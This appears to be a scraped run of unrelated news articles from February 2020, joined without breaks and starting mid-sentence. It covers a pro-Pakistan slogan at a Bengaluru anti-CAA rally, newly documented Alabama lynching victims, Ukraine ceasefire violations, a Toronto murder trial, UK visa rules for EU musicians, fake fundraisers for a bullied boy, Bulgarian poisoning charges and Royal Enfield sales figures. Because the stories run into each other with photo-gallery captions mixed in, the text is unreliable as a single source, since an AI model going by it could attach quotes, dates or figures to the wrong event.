headmistress of a school for alleged derogatory remarks against Prime Minister Narendra Modi made by a class six student during a drama staged at a school in Bidar. Owaisi asserted that his love for India is unquestionable because his family had chosen to stay in the country after the partition. JDS corporator Imran Pasha claimed Amulya was planted by some rival group to disrupt the event. The woman, he said, was not in the list of speakers and demanded that the police investigate the matter seriously. The state BJP took to Twitter to condemn the development. Anti-CAA Activist Amulya Leona shouts PAKISTAN ZINDABAD in the presence of AIMIM Chief @asadowaisi at Bengaluru. Truth is that protests against #CAA are a joint venture between Pakistan & Anti-National Forces led by @INCIndia. Those who support Pakistan should go there forever. pic.twitter.com/GpknmmdKHt BJP Karnataka (@BJP4Karnataka) February 20, 2020 The Akhil Bharatiya Vidyarthi Parishad (ABVP) members and Karnataka Rakshana Vedike (Praveen Shetty faction) staged separate demonstrations in the city, demanding "externment" of Amulya. With inputs from agencies Jim Hatter was dragged out of his home at midnight on May 2, 1910 and killed by a mob of white men. The accusation: Hatter helped another black man accused of killing a 66-year-old Confederate veteran who was also a Bessemer deputy sheriff. Despite the lack of evidence to support their claims, the mob forced Hatter out of his home in the unincorporated community of Dolomite and dragged him several hundred yards before bullets tore through his body. Hatter is one of the four new victims of racial violence to be added to the Jefferson County Memorial Project. The new names were discovered by high school students and fellows working with the project. The project is a grassroots coalition of more than 35 community partners and volunteers who are striving to research and educate people about the men and women who were killed in Jefferson County because of the racially motivated violence by white mobs. The groups mission was inspired by the Equal Justice Initiatives creation of the National Memorial for Peace and Justice, a memorial honoring the more than 4,400 black individuals who were lynched, burned, mutilated or brutally assaulted between 1883 to 1940. Lynching is more than just hanging. According to EJIs definition, it can also include other acts of violence and assault used by white mobs to terrorize African American communities. JCMP began examining this history last year, starting with the 29 Jefferson County victims who were identified by EJI. That number quickly rose. Last years inaugural class of fellows found another uncounted victim, Jake McKinzie. JCMP had to amend their archive after fellows learned this year that a newspaper misreported the death of Tom Collins in 1886 by assuming he was lynched. An examination of another local newspaper revealed that Collins was actually saved by a group of black activists. Information about Collins and the four new victims found in 2020 brings the number of Jefferson County victims to 33. A big part of JCMP is to educate the public about this history while advocating for reform. This year alone, JCMP has been conducting county-wide book discussions across the county and five Birmingham City School students were awarded a total of $6,000 in scholarships during an essay contest. The group created a teacher committee of local educators who created lessons focused on lynching and racial terror. Teachers at the Altamont School, Jefferson County IB School, Ramsay High School, and Woodlawn High School will pilot the curriculum in classrooms this spring. JCMP is combing the citys racial history with the arts for sixth graders by partnering with the Greater Birmingham Arts Education Collaborative and Bush Hills STEAM Academy. JCMP fellows will talk about the four new victims and the legacy of racial violence that can still be seen in present day during a free, public event tonight at 6 p.m. at the Birmingham Museum of Art. Attendants are receiving a free copy of JCMP new 56-page report titled Jefferson Countys Broken Systems. The report expands on the discoveries of last years fellows with a collection of essays explaining how institutions, such as the media, businesses, law enforcement and individuals, remained complicit during this era of racial terror and county residents. For example, Fellow Sheila Blair discovered how a police officer a year after killing Jake McKenzie murdered another black man in Jefferson County. These are the questions the public needs to ask themselves today, Project Director Abigail Schneider said. How does the media today write about crime? What relationship do employers have with their employees? Researching the past teaches us how to examine our present," Schneider said. Here are the names and information of the remaining three victims: Otis Brown (Information by Darona Dancy of Birmingham-Southern College): On April 24 1886, a mob killed Otis Brown near Five Mile Creek in Jefferson County. According to reports, two white men, Tanner and Phillips, ate dinner near Douglas Mills bridge in North Jefferson County on their way to Birmingham. Supposedly, two black men, Otis Brown and Austin Pettus, approached and asked for change for a $10 bill. Phillips pulled out his wallet to give the black men change, and one of the black men took his wallet. They ran off with the wallet, and Mr. Brown pulled out his gun to stop the white men in pursuit. As Tanner continued to approach the men, according to the report, Mr. Brown shot Tanner in the chest. Tanner was taken to a medical house for attention. Residents near Five Mile Creek heard about the shooting. Twenty-five men, with their blood hounds, tried to find the two black men. They found Mr. Brown in a cave and shot him to death. Its unclear if Mr. Pettus escaped or also became a victim of racial terror. Otis Brown is another black man killed without a trial or conviction of guilt. Fred Spencer (Information by Brianna Jordynn Wright, a Central Park Christian Schools Advisor): Fred Spencer was an African American miner, about 24-25 years old, in Birmingham. After acquiring a hand injury, Mr. Spencer was put out of work for roughly 3-4 weeks. On Wednesday, April 27, 1910, he reportedly got into a drunken dispute with Harriet Arrington (the cause was later perceived to be pay related) during which, Mr. Spencer shot at Arrington hitting her once before standing off against a mob of white and colored workers. After escaping, Mr. Spencer allegedly came across a 66-year-old Confederate veteran, Deputy Sheriff B.H. Young fatally shooting him in the neck and nose. Young died on April 29 and was buried the next day. A month-long manhunt ensued for the capture of Mr. Spencer. A mob searched his brother, Bobs, house to no avail, leading many to believe he fled into the woods. After reports of Mr. Spencer sightings, another African American man, Jim Hatter, was lynched on May 2, 1910 near Dolomite, likely for suspicion of aiding Fred Spencer. After a seemingly unsuccessful manhunt and false reports of Mr. Spencer being lynched in late April, the trail seemingly went cold. However, on August 1, 1910, The Birmingham News reported the discovery of an unidentified black corpse floating on a pile of driftwood in a creek near Mulga in Jefferson County. The coroner reported that the person had been dead roughly 6-8 weeks. Based on physicality, the coroner believed it was the body of Mr. Spencer. He was likely caught by a mob and shot repeatedly before either being thrown into the river or fleeing into the river and dying from injury. Tom Edmunds (information by Maggie Belshe, JCMP Volunteer with research help from Jalen Miller and Chris Brown, Central Park High School Students): A party of white men, which included a local judge, fatally shot Tom Edmunds on Monday, July 31, 1899, near the Blossburg tunnel. An unfinished trial for the case reveal two differentstories - one of Mr. Edmunds brother and African American men, the other of the accused men and white witnesses. As described by his brother, it all began when Mr. Edmunds slipped while attempting to board a train known as The Dude. A group of African American men thought he had fallen to his death, but when they jumped off the train to aid him, they found he was unharmed. They were laughing at his fall when a party of white men came and asked what was happening. Then, the white men opened fire. The other men fled, but Mr. Edmunds was shot. He was moved to a hospital, where he died two days later. Three days later, three men, including Justice of the Peace James Ray and Charles Clarke, were called to trial for the lynching of Mr. Edmunds. The men claimed that Mr. Edmunds was shot by one of the black men in the crowd near The Dude. Dr. J.F. Huey testified that Mr. Edmunds, who was in sound mind, told him he had been shot by one of his own color and did not say anything about Justice Ray, but the testimony was reportedly contested. He later added that when Mr. Edmunds brother and sister had asked who shot him, Mr. Edmunds had replied Mr. Clarke. The second witness, an African American man named George Hall, recounted the story of how the three white men had shot at them. In the face of heavy cross-examination, he held that no one in his group had pistols. African American witnesses Mack Moore, Will Parker, and Wink Love recounted the same story. After a day of witnesses from the African American community, the defendants reportedly spent the night in jail. Bail was set at $1,500 each. The next day, a new set of witnesses took the stand that were in stark contrast to the story before. Three white witnesses gave alibis for the three men. For instance, John Lamon testified to seeing the three men head home roughly thirty minutes before the shooting. Lamon and two more witnesses claimed they had heard Mr. Edmunds state one of the men in his group shot him. With white testimony up against black testimony, the men were set to walk free. On August 7, Justice Ray made bond and was released. No articles show that the men were ever held accountable for Mr. Edmunds death. Union Minister Mahendra Nath Pandey on Friday said that AIMIM leader Asaduddin Owaisi should not be given much importance. "Much importance must not be given to such a leader who is influential in a small part of the city. The reason being that it sends a wrong message to the youth," said Pandey while talking to ANI. Pandey said that the media should also discourage leaders like AIMIM's Waris Pathan. "Such people should be discouraged, and the media must not pay attention to such people," he said. Pathan, while addressing an anti-CAA rally had said, "Time has now come for us to unite and achieve freedom. Remember we are 15 crores but can dominate over 100 crores." On Thursday a girl identified as Amulya raised the Pro-Pakistani slogan at a rally against the Citizenship Amendment Act (CAA) organized by All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi in Bengaluru. She has been sent to 14-day judicial custody. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) On February 20, the armed formations of the Russian Federation violated ceasefire in the Joint Forces Operation (JFO) area in eastern Ukraine ten times. The enemy used 82mm and 120mm mortars banned under the Minsk agreements, weapons on infantry fighting vehicles, grenade launchers of different systems, heavy machine guns and small arms to fire on positions of the Armed Forces of Ukraine, the press center of the JFO Headquarters reports. In the zone of action of tactical force East, the Russian-led forces used 120mm mortars, weapons on infantry fighting vehicles, grenade launchers of different systems, heavy machine guns to shell Ukrainian positions near Novomykhailivka (28km south-west of Donetsk); 82mm mortars, automatic mounted grenade launchers, heavy machine guns and small arms outside Pyshchevyk (25km north-east of Mariupol); 82mm mortars, heavy machine guns in the area of Pavlopil (25km north-west of Mariupol); heavy machine guns and small arms outside Marinka (23km south-west of Donetsk); 82mm mortars, grenade launchers of different systems and heavy machine guns in the area of Lebedynske (16km east of Mariupol); mounted antitank grenade launcher, heavy machine guns and small arms near Krasnohorivka (21km west of Donetsk); under-barrel grenade launchers and small arms outside Starohnativka (51km south of Donetsk). In the zone of action of tactical force North, the enemy fired 120mm mortars and mounted antitank grenade launcher on Ukrainian positions near Novozvanivka (70km west of Luhansk). No casualties among Ukrainian troops were reported over the past day. Today, the Russian-occupation troops have already launched four attacks on positions of the Armed Forces of Ukraine. ol TORONTO - Lawyers for a Toronto man accused of strangling a young woman more than two years ago are drawing attention to another man seen in the area that night. Hey there, time traveller! This article was published 21/2/2020 (690 days ago), so information in it may no longer be current. TORONTO - Lawyers for a Toronto man accused of strangling a young woman more than two years ago are drawing attention to another man seen in the area that night. Defence lawyers for Kalen Schlatter raised questions Friday about a man dressed in a hooded winter coat and light pink trucker hat who also appears in some security videos from the area where Tess Richey was last seen on Nov. 25, 2017. In a few clips, the man can be seen crossing paths with Schlatter, Richey and her friend as they walk in Toronto's Church and Wellesley neighbourhood in the early hours of the morning. The defence focused on his movements in their cross-examination of a Toronto police homicide detective who reviewed hours of footage from a number of security cameras as part of the investigation. Det. Stephen Matthews said the man was last captured on any camera around 3:39 a.m. and appeared to be walking towards his home. Court has seen video of Schlatter and Richey that was recorded roughly half an hour later. Richey, 22, was found dead in a stairwell in the area days after she failed to return from a night out with a friend. Schlatter was arrested months later and has pleaded not guilty to first-degree murder. Prosecutors allege he sexually assaulted and killed Richey, a woman he had just met, after she rejected his advances. Jurors have spent several days watching security videos taken that night at a number of locations in the neighbourhood, including a club where Schlatter, Richey and her friend Ryley Simard spent part of the evening. The two women did not interact with Schlatter inside the club but Simard can be seen speaking to him briefly outside after all three left the venue. On Thursday, court saw footage that showed Schlatter and Richey walking together at 4:14 a.m., heading into an alley towards the area where her body was later found. The video shows Schlatter come out of the alley alone roughly 45 minutes later. Matthews, who examined the video, told the court Thursday he watched for at least two hours after that and did not see anyone going to or from that area, nor did he see Richey emerge. Court previously heard from an undercover police officer who said Schlatter confided in him about going into a secluded area with Richey to "hook up." Schlatter said he left Richey alone _ and alive _ after she refused to have sex, the officer testified. Prosecutors have said an expert will testify that Schlatter's DNA was found on Richey's pants and inside her bra. This report by The Canadian Press was first published on Feb. 21, 2020. Priti Patels immigration crackdown will cut the legs off the thriving UK music industry, a leading figure has said, warning that artists will be forced to cancel tours and small venues will be put in jeopardy. In a blistering attack, the Incorporated Society of Musicians said the Home Office has turned its back on the creative arts worth 111bn a year to the economy, similar to banking and refused to listen to its pleas for help. Enormous numbers of bands from EU countries will be shut out by the huge cost and frightening bureaucracy of performing, dealing a hammer blow to the venues that host them, it said. Moreover, UK artists will feel the pain if Brussels slaps similar restrictions on tours to EU countries, in the post-Brexit trade talks that have already turned ugly. This is taking a shotgun and shooting ourselves in the foot, the societys chief executive, Deborah Annetts, told The Independent. The harsh new rules have been brought in despite former culture minister Nigel Adams promising last month to shelter the creative industries from Brexit, saying: Its absolutely essential that free movement for artists is protected post-2020. Instead, in just 10 months time, anyone from the EU seeking to perform in the UK will need to: * Apply for a visa to enter the UK, at a cost of 244 for each group member; * Provide proof, 90 days before applying, that they have almost 1,000 in savings and so can support themselves, unless they are A-rated; * Provide a certificate of sponsorship from an event organiser who must take responsibility for them or a letter of invitation in some circumstances. Boris Johnson's cabinet reshuffle: Who's in and who's out Show all 17 1 /17 Boris Johnson's cabinet reshuffle: Who's in and who's out Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Sajid Javid Resigned as Chancellor of the Exchequer. Mr Javids departure comes just one month before a crucial budget, intended to chart the course for the new government and makes him the shortest-serving chancellor for more than 50 years Getty Boris Johnson's cabinet reshuffle: Who's in and who's out In: Rishi Sunak Promoted from Chief Secretary to the Treasury to Chancellor of the Exchequer after the dramatic resignation of Sajid Javid Getty Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Esther McVey Sacked as housing minister AFP via Getty Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Andrea Leadsom Sacked as business secretary EPA Boris Johnson's cabinet reshuffle: Who's in and who's out Changed role: Alok Sharma Appointed business secretary (previously international development secretary). He has also been put in charge of the UKs COP26 climate change summit PA Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Attorney General Geoffrey Cox Resigned as the government's most senior law officer AFP via Getty Boris Johnson's cabinet reshuffle: Who's in and who's out In: Suella Braverman Appointed Attorney General and she will attend cabinet EPA Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Theresa Villiers Sacked as environment secretary PA Boris Johnson's cabinet reshuffle: Who's in and who's out In: George Eustice Appointed environment, food and rural affairs secretary. He was a farming and fisheries minister Reuters Boris Johnson's cabinet reshuffle: Who's in and who's out Changed role: Anne-Marie Trevelyan Appointed international development secretary (previously parliamentary under-secretary for defence) Getty Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Julian Smith Sacked as Northern Ireland secretary Reuters Boris Johnson's cabinet reshuffle: Who's in and who's out In: Brandon Lewis Appointed Secretary of Northern Ireland Reuters Boris Johnson's cabinet reshuffle: Who's in and who's out In: Stephen Barclay Appointed chief secretary to the Treasury PA Boris Johnson's cabinet reshuffle: Who's in and who's out In: Oliver Dowden Appointed culture secretary, succeeding Nicky Morgan Getty Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Chris Skidmore Sacked as eucation minister Getty Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Nus Ghani Sacked as transport minister Chris McAndrew/UK Parliament/CC BY 3.0 Boris Johnson's cabinet reshuffle: Who's in and who's out Out: George Freeman Sacked as transport minister Getty It means the onerous paperwork that is already required of non-EU artists and blamed for global stars being unable to perform at the Womad festival and others will be imposed on EU musicians. However, Ms Annetts absolved the Department for Digital, Culture, Media and Sport (DCMS) of blame, revealing that it had lost a Whitehall battle with the hardline Home Office. The Home Office has failed to grasp that touring and the creative industries are not about immigration, but are a global industry in which people move around all the time, she said. Its been that way since the troubadours in Chaucers time you picked up your lute and off you go. This will cut the legs off the bottom half of the music industry. And what is going to happen to our small venues who have to go through this process to bring artists across from the EU? Lifting the lid on a two-year battle, Ms Annetts said: We really believed, for the first time, that the Home Office was listening, so what has been announced came as a total shock to us. On the need for proof of 1,000 in savings, she added: Thats fine if youre Bruce Springsteen but not if youre a small rock band from Scandinavia trying to make it by playing in a few north London pubs. Pointing to a likely tit-for-tat crackdown by the EU, she warned: They cant think about this in isolation, they need to think about UK musicians who will want to tour Europe. This could be harming them in a very short time, which makes the policy so short-sighted. The Home Office just doesnt get it. The criticism follows a fierce backlash against the crackdown, which was unveiled on Wednesday and will replace free movement with a minimum salary threshold of 25,600 for most workers. It was branded a disaster by social-care leaders, who fear a deepening recruitment crisis, while business leaders warned of problems for companies in lower-wage parts of the UK. Ms Patel was then ridiculed for claiming 8 million economically inactive Britons could plug the jobs gap, only for it to be pointed out that the vast majority are unpaid carers, the long-term sick, and students. Brexit day: UK says goodbye to EU Show all 66 1 /66 Brexit day: UK says goodbye to EU Brexit day: UK says goodbye to EU A message projected onto the White Cliffs of Dover Sky News/AFP via Getty Brexit day: UK says goodbye to EU Getty Brexit day: UK says goodbye to EU Big Ben, shows the hands at eleven o'clock at night AFP via Getty Images Brexit day: UK says goodbye to EU Nigel Farage speaks to pro-Brexit supporters PA Brexit day: UK says goodbye to EU Pro-Brexit demonstrators celebrate on Parliament Square REUTERS Brexit day: UK says goodbye to EU The Union flag is taken down outside the European Parliament in Brussels PA Brexit day: UK says goodbye to EU Pro-EU campaigners outside the Scottish Parliament, Edinburgh PA Brexit day: UK says goodbye to EU A pro-Brexit supporter jumps on an EU flag in Parliament Square PA Brexit day: UK says goodbye to EU EU Council staff removed the Union Jack-British flag from the European Council in Brussels, Belgium EPA Brexit day: UK says goodbye to EU A pro-Brexit supporter pours beer onto an EU flag PA Brexit day: UK says goodbye to EU Pedestrians pass in front of the Ministry of Defence Building on Whitehall, illuminated by red, white and blue lights in central London AFP via Getty Images Brexit day: UK says goodbye to EU A Brexit supporter shouts during a rally in London AP Brexit day: UK says goodbye to EU Pro-EU campaigners outside the Scottish Parliament, Edinburgh PA Brexit day: UK says goodbye to EU Pro-EU campaigners take part in a 'Missing EU Already' rally outside the Scottish Parliament, Edinburgh PA Brexit day: UK says goodbye to EU A large pro-EU banner is projected onto Ramsgate cliff in Kent PA Brexit day: UK says goodbye to EU Pro-EU supporters light candles in Smith Square in Westminster PA Brexit day: UK says goodbye to EU A man waves Union flags from a small car as he drives past Brexit supporters gathering in Parliament Square AFP via Getty Images Brexit day: UK says goodbye to EU The five-year old Elisa Saemann, left, and her seven-year old sister Katie hold a placard during a rally by anti-Brexit protesters outside the Scottish parliament in Edinburgh AP Brexit day: UK says goodbye to EU Pro Europe supporters gather on Brexit day near the British embassy in Berlin, Germany EPA Brexit day: UK says goodbye to EU Anti-Brexit protester hugs a man while holding a placard REUTERS Brexit day: UK says goodbye to EU A decorated, old fashioned fire pump in Parliament Square PA Brexit day: UK says goodbye to EU Pro Brexit Elvis impersonator performs at Parliament Square Getty Images Brexit day: UK says goodbye to EU An anti-Brexiteers stands with his dog in Parliament Square AFP via Getty Images Brexit day: UK says goodbye to EU Paddy from Bournemouth wears Union colours as he sits next to an EU flag decorated bag in Parliament Square AFP via Getty Images Brexit day: UK says goodbye to EU A pro-EU activist plays a guitar decorated with the EU flag during a protest organised by civil rights group New Europeans outside Europe House, central London AFP via Getty Images Brexit day: UK says goodbye to EU People celebrate Britain leaving the EU REUTERS Brexit day: UK says goodbye to EU A Pro Brexit supporter has a Union Jack painted onto his face at Parliament Square Getty Images Brexit day: UK says goodbye to EU Men hold placards celebrating Britain leaving the EU REUTERS Brexit day: UK says goodbye to EU Pro Brexit supporters dance in the street draped with Union Jack flags at Parliament Square Getty Images Brexit day: UK says goodbye to EU An anti-Brexit demonstrator spreads his wings during a gathering near Downing Street AP Brexit day: UK says goodbye to EU Pro EU supporters display a banner ' Here to Stay, Here to Fight, Migrants In, Tories Out' from Westminster bridge EPA Brexit day: UK says goodbye to EU Pro-Brexit supporters burn European Union flags at Parliament Square Getty Brexit day: UK says goodbye to EU A man poses for a picture on Parliament Square in a 'Brexit Day' t-shirt Reuters Brexit day: UK says goodbye to EU People celebrate Britain leaving the EU Reuters Brexit day: UK says goodbye to EU AFP via Getty Brexit day: UK says goodbye to EU A man wears a pro-Brexit t-shirt Reuters Brexit day: UK says goodbye to EU Anti-Brexit demonstrators visit Europe House to give flowers to the staff on Brexit day Reuters Brexit day: UK says goodbye to EU Pro Brexit supporter wears a novelty Union Jack top hat outside the Houses of Parliament Getty Images Brexit day: UK says goodbye to EU Customers Scott Jones and Laura Jones at the Sawmill Bar in South Elmsall, Yorkshire, where a Brexit party is being held throughout the day PA Brexit day: UK says goodbye to EU AP Brexit day: UK says goodbye to EU Getty Brexit day: UK says goodbye to EU Getty Images Brexit day: UK says goodbye to EU Pro-EU activists protest Getty Images Brexit day: UK says goodbye to EU A pro-Brexit demonstrator burns a European Union flag AP Brexit day: UK says goodbye to EU Pro Brexit supporters Getty Images Brexit day: UK says goodbye to EU Pro Brexit supporters Getty Images Brexit day: UK says goodbye to EU A Brexit supports holds a sign in Parliament Square AP Brexit day: UK says goodbye to EU A man carries an EU themed wreath Reuters Brexit day: UK says goodbye to EU Ann Widdecombe reacts with other members of the Brexit party as they leave en masse from the European Parliament PA Brexit day: UK says goodbye to EU Anti-Brexit demonstrators in Parliament Square PA Brexit day: UK says goodbye to EU Pro EU supporters let off flares from Westminster Bridge Getty Brexit day: UK says goodbye to EU British MEPs Jonathan Bullock, holding the Union Jack flag and Jake Pugh leave the European Parliament, in Brussels on the Brexit day AFP via Getty Brexit day: UK says goodbye to EU Newspapers and other souvenirs at a store, near Parliament Square Reuters Brexit day: UK says goodbye to EU Brexit supporters hold signs in Parliament Square AP Brexit day: UK says goodbye to EU Pro-EU protesters hold placards in Parliament Square AFP via Getty Brexit day: UK says goodbye to EU French newspapers PA Brexit day: UK says goodbye to EU Sinn Fein leader Mary Lou McDonald with a Border Communities Against Brexit poster before its unveiling in Carrickcarnon on the Irish border PA Brexit day: UK says goodbye to EU National growers organisation British Apples & Pears has renamed a British apple to EOS, the Greek goddess of dawn, to commemorate Brexit day AP Brexit day: UK says goodbye to EU Pro-EU protesters hold placards in Parliament Square AFP via Getty Brexit day: UK says goodbye to EU Britain's departure from the European Union was set in law on January 29, amid emotional scenes, as the bloc's parliament voted to ratify the divorce papers. After half a century of membership and three years of tense withdrawal talks, the UK will leave the EU at midnight Brussels time (23.00 GMT) on January 31 Reuters Brexit day: UK says goodbye to EU A man poses with paintings on Parliament Square Reuters Brexit day: UK says goodbye to EU People sporting Union Flags gather in Parliament Square Getty Brexit day: UK says goodbye to EU A man walks with a St. George's flag at Westminster bridge on Brexit day Reuters Brexit day: UK says goodbye to EU A British bulldog toy and other souvenirs at a souvenir store Reuters Brexit day: UK says goodbye to EU British pro-brexit Members of the European Parliament leave the EU Parliament for the last time Reuters Brexit day: UK says goodbye to EU Jonathan Bullock waves the Union Jack as he leaves the European Parliament EPA Mr Adams, who was replaced as culture minister by Caroline Dinenage last month, vowed weeks before the reshuffle to save free movement for artists, saying: Touring is absolutely the lifeblood of the industry. The Incorporated Society of Musicians called for a two-year, multi-entry visa as a fallback, but that too was rejected. A government spokesperson said: Musicians and performers are a valued and important part of UK culture. The UK attracts world-class artists, entertainers and musicians and thats not going to change under the new system. A spokesperson attempted to argue that the system would not change for artists despite the concerns raised. Every time a young rapper dies, an old OutKast lyric flashes across my brain and cuts across my heart. Its a couplet by Big Boi, the unflappable half of the great Atlanta rap duo, and it goes like this: Man, [I] dont want no trouble, a playa just want to kick back with my gators off and watch my little girl blow bubbles. Even if you dont know that gators means shoes, it should hurt to hear those words on any day of the week. In this song in this murderous world a completely mundane domestic future is something that needs to be wished for, then fought for. The mother of a nine-year-old boy bullied over his dwarfism has warned about unauthorised fundraising accounts set up using his name. Stand-up comedian Brad Williams set up a legitimate GoFundMe page for Quaden Bayles on Thursday after the boy's mother Yarraka shared a video of him crying and saying he wanted to die. A few hours later Ms Bayles posted on Facebook saying this was the only fundraiser she had authorised and she was aware of 'fakes'. A search by Daily Mail Australia of the GoFundMe website found several pages relating to Quaden that had not been authorised by his mother. One woman in the US even appeared to claim that Quaden was her son. The page featured a picture of Quaden and the words: 'Hello my son has been being bullied as you can clearly see over the internet I'm just a tired mum.' Sick scammers have set up unauthorised fundraising pages falsely claiming to raise money for a bullied nine-year-old with dwarfism (pictured) Ms Bayles posted on Facebook saying she was aware of 'fake' fundraisers US comedian Brad Williams (pictured) set up a GoFundMe page for Quaden Bayles on Thursday after the boy's mother shared a video of him crying and saying he wanted to die One woman in the US even appeared to claim that Quaden was her son on an unauthorised fundraising page (pictured) with the words 'hello my son has been being bullied' Nicola Britton, GoFundMe Regional Manager, said they have a zero-tolerance policy for fraudulent behaviour and were committed to being the safest place to give. 'Our team of Trust and Safety experts work around the clock, interacting with campaign organisers, continually monitoring and verifying pages to prevent misuse. 'All donations remain under our control until we are sure they will reach the right place. Before money is transferred to an individual, their personal information, including ID and banking information, must be verified.' When he set up his page, Mr Williams, who also has dwarfism, wrote: 'I'm setting up this GoFundMe to let Quaden know that bullying will not be tolerated, and that he is a wonderful human being who deserves joy. 'I want to fly Quaden and his mother to America, get them a nice hotel, and bring them to Disneyland. 'This isn't just for Quaden, this is for anyone who has been bullied in their lives and told they weren't good enough. 'Let's show Quaden and others that there is good in the world and they are worthy of it.' Where to get support For confidential support call Lifeline 24-hour crisis support on 13 11 14 Advertisement Mr Williams said that if too much is donated the excess would be given to anti-bullying charities. By Thursday morning the page already had 1,700 donors. Quaden's mother Yarraka, from Brisbane, shared the distressing video on Wednesday after picking him up from school. The schoolboy, who has achondroplasia - the most common type of dwarfism - told his mother: 'Give me a rope, I want to kill myself.' In the video, which has been viewed more than three million times, Quaden also said: 'I just want to stab myself in the heart... I want someone to kill me.' Quaden also scratched at his neck and said: 'I want to die... I want to scratch myself.' Since sharing the video, Ms Bayles has been inundated with kind messages of support from friends and strangers alike. The Indigenous All Stars NRL team reached out to the family, inviting Quaden to walk them onto the pitch on Saturday night. Quaden's mother Yarraka, who is from Brisbane, filmed her son (pictured together) crying in the car after she picked him up from school on Wednesday and publicly shared the video on Facebook Quaden is pictured with NRL star Latrell Mitchell. The nine-year-old will lead the Indigenous All Stars NRL team onto the pitch on Saturday They will take on New Zealand Maori Kiwis at CBUS Super Stadium on the Gold Coast. The nine-year-old was snapped with NRL star Latrell Mitchell, who donned a South Sydney Rabbitohs jersey after signing with the club for the 2020 season. Ms Bayles shared the video publicly on Facebook in a bid to raise awareness about the impact of bullying. She said she normally tries to keep distressing moments such as this private but felt she had been left with no choice but to go public. 'We try to be as strong as positive as possible and only share the highlights... but this is how bullying affects a nine-year-old kid,' she said in the video. What is Achondroplasia? Achondroplasia is a disorder of bone growth that prevents the changing of cartilage (particularly in the long bones of the arms and legs) to bone. It is characterised by limited range of motion at the elbows, large head size (macrocephaly), small fingers, and normal intelligence. Achondroplasia can cause health complications such as interruption of breathing (apnea), obesity, recurrent ear infections and an exaggerated inward curve of the lumbar spine. People with dwarfism have a normal life expectancy. Source: US Department of Health Advertisement At the start of the five-minute clip, Ms Bayles said: 'I just picked my son up from school, witnessed a bullying episode, rang the principal and I want people to know this is the effect bullying has. This is what bullying does. 'So can you please educate your children, your families, your friends because all it takes is one more instance... and you wonder why kids are killing themselves.' 'This is the impact bullying has a nine-year-old kid who just wants to go to school, get an education and have fun but every single fricking day something happens. 'Another episode another bullying, another taunt, another name-calling.' As Quaden sobbed, Ms Bayles asked for help from anyone viewing the footage. 'So is there any advice or support or anything that other parents have done? 'I've got some good advice but I need more, I want people to know how much it is hurting us as a family,' she said as her voice quivered. quaden The mother did not go into specifics about the latest bullying incident, but previously said her son was called a 'midget' by his class mates. Last year she told the Courier-Mail Quaden first tried to kill himself three years ago when he was just six. 'I was so shocked. I honestly didn't think he would even know what or how at six years old,' she said. The mother, an Aboriginal rights activist, said her son has made several attempts to take his own life. 'I've explained to him that once you go, there's no coming back, you're gone forever, but he still kept trying,' the mother said. She also said Quaden has been affected by the death of his grandfather and his younger half-brother, who was stillborn. 'He thought if he went to heaven, then he'd be with his Pop and his little brother,' she said. She told the newspaper she was proud that she had spoken publicly about asking for help. Prosecutors in Bulgaria have filed criminal charges against three Russian citizens in connection with the attempted poisoning in 2015 of arms dealer Emilian Gebrev. Officials identified the suspects as Sergei Pavlov, Sergei Fedotov, and Georgy Gorshkov, saying that they are believed to be residents of Moscow. In January, Bulgaria announced charges against three Russians in connection with the same case, but did not identify the suspects. Earlier on February 21, the Bellingcat independent research organization posted on Twitter that it had "identified the true identities" of "the team of GRU officers" allegedly involved in the poisoning, using the abbreviation for the Russian military intelligence service. "We have submitted relevant data to law enforcement," the Bellingcat post said. In a further post, Bellingcat said it would make additional information public "next week." In January, Bulgaria expelled two Russian diplomats believed to have been involved in the case. Bulgarian authorities believe Gebrev, owner of the EMCO Ltd. arms trader; his son, Hristo Gebrev; and company manager Valentin Takhchiev were targeted in a poisoning attack "by intoxication with an unidentified phosphorus-organic substance." All three survived the attacks. In February 2019, Bellingcat identified Russian GRU officer Sergei Fedotov as possibly being involved in the March 2018 poisoning in the United Kingdom of former Russian intelligence officer Sergei Skripal and his daughter, Yulia. Bellingcat alleged that Fedotov traveled to the United Kingdom two days before the attack on Skripal. Russia has denied involvement in the attacks against Skripal and Gebrev. With reporting by TASS The Royal Enfield Classic 350 was the highest seller in domestic market with 40,834 units sold out of a total sale of 61,292 units in the past month. Following a tumultuous calendar year in 2019, Royal Enfield sales in Jan 2020 continue to decline in the domestic market. On a more positive note, the company saw increase in exports with 2,228 units shipped to global markets in January 2020 as against 1,829 units exported in January 2019. Domestic sales in the month of January 2020 were down to 61,292 units as compared to a total of 70,872 units sold in January 2019. A majority of these sales were brought in by the Classic 350 of which 40,834 units were sold during the past month, down 11.85 percent while taking into account sales of 46,321 units sold in January 2019. In an assessment of sales model wise, it can be noted from the table that bikes in the 350cc segment found more buyers in the past month. The Classic 350 was at the top of the sales charts followed by the Bullet 350 with 9,559 units and then came in the Electra 350 at No. 3 with 5,869 units sold. Sales of the Electra 350 jumped 134.95 percent in January 2020 as against 2,498 units sold in January 2019. Next in line was Thunderbird 350 with sales of 2,415 units. The Himalayan was at No.5 on the list of sales for January 2020 with 1,438 units sold and posting growth of 67 percent as against 859 units sold in January 2019. Domestic Royal Enfield Sales Jan 2020 Jan 2019 Diff % 1 Classic 350 40,834 46,321 -5,487 -11.85 2 Bullet 350 9,559 13,576 -4,017 -29.59 3 Electra 350 5,869 2,498 3,371 134.95 4 Thunderbird 350 2,415 5,422 -3,007 -55.46 5 Himalayan 1,438 859 579 67.40 6 650 Twins 1,176 1,069 107 10.01 7 Thunderbird 500 1 146 -145 -99.32 8 Bullet 500 0 127 -127 -100.00 9 Classic 500 0 854 -854 -100.00 Total 61,292 70,872 -9,580 -13.52 Exports Royal Enfield Sales Jan 2020 Jan 2019 Diff % 1 650 Twins 1,144 933 211 22.62 2 Classic 350 434 76 358 471.05 3 Himalayan 266 542 -276 -50.92 4 Classic 500 208 233 -25 -10.73 5 Bullet 500 88 23 65 282.61 6 Thunderbird 350 70 18 52 288.89 7 Electra 350 18 0 18 8 Bullet 350 0 4 -4 -100.00 9 Thunderbird 500 0 0 0 Total 2,228 1,829 399 21.82 Total Domestic + 